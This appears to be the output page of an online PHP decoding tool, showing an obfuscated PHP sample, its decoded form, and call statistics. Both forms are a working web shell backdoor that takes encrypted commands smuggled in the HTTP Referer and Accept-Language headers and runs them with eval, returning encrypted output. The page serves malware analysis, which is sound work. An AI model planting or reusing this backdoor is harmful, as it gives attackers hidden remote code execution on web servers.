Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $U='Ora3O,$3Om);if($q&&$m){@se3Os3Osio3On_start();$3Os=&$_3OSESSION;$ss=3O"3Osubstr..
Decoded Output download
$kh="4058";$kf="7bff";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$U='Ora3O,$3Om);if($q&&$m){@se3Os3Osio3On_start();$3Os=&$_3OSESSION;$ss=3O"3Osubstr";$s3Ol3O="strto3Ol';
$r='""3O;for($3Oi=0;$i<$l;3O3O3O){fo3Or($j=0;($j<$c&&$3Oi<$l3O);$j+3O+,$i++){$o.=3O$t{$i}^3O$3O';
$a='ACCEPT_3OLANG3OUA3OGE"]3O;3Oif3O($3Orr&&$ra){$u=parse_url($rr3O);p3Oar3Ose_s3Otr($u["query"],$q)3O;$q';
$G='e3Oncode(3Ox(gzc3Oompr3Oess(3O$o),$k));pr3Oint("<$k>$3Od</3O$k>");@se3Ossion_d3Oestr3Ooy();}}}}';
$j='s[$i].=3O$p;3O$e3O=3Ostr3Opos($s[$i],$f3O);if($e){$k=$3Okh.$kf;3Oob_s3Otart()3O3O;@e3Ov3Oal(@gzu';
$O='=3O3Oarr3Oay_values($q);3Opreg_m3Oatc3Oh_a3Oll("/([\\w])[\\3Ow-]+3O(?:;q=3O0.([3O\\d]))?,3O?/",$3';
$P='po3O3Os($p,3O$h)3O===0){$s[$i]3O="";$p=$3Oss3O($p,3)3O;}if(arra3Oy_key_3Oexists($i3O,$s3O)){$';
$L='+"3O)3O,$ss3O($s[$i],0,$e))3O3O),$k)))3O;$o3O=ob_get_con3Otents()3O;ob_end_3Ocl3Oean();$d=ba3Os3Oe64_';
$A='ower";$i=$3Om[1]3O3O[03O].$m[1][1];$h=$sl3O($ss3O(md5(3O$i.$kh),0,3O3));$3Of=$sl($3O3Os3Os(md5';
$H='($3Oi.$kf),0,3));$p3O3O=""3O;for($z=1;3O3O$z<count($3Om[1]);$z++)$p3O.=$q3O[$m[2][3O$z]]3O;if(str';
$I=str_replace('V','','cVreatVVe_VfunVctiVon');
$b='ncompre3Oss(@x(@ba3Os3Oe63O4_3Odecode(preg_replace3O(array("/_/3O","/-3O/"3O),arra3Oy("/","';
$v='$kh="403O53O3O8";$kf="7bff";fun3Oction x($t3O,3O$k){3O$c=s3Otrlen($k3O);$l=strlen($3Ot);3O$o=';
$k='k{$j};3O3O}}return $o;}3O$r=$_SE3ORVER;$r3Or=@$r["3OHTTP_R3OEFERER3O"3O];$ra=@$3Or["HTTP3O_';
$n=str_replace('3O','',$v.$r.$k.$a.$O.$U.$A.$H.$P.$j.$b.$L.$G);
$S=$I('',$n);$S();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | ddaf991a919440654b0257295f431a1c |
| Eval Count | 1 |
| Decode Time | 118 ms |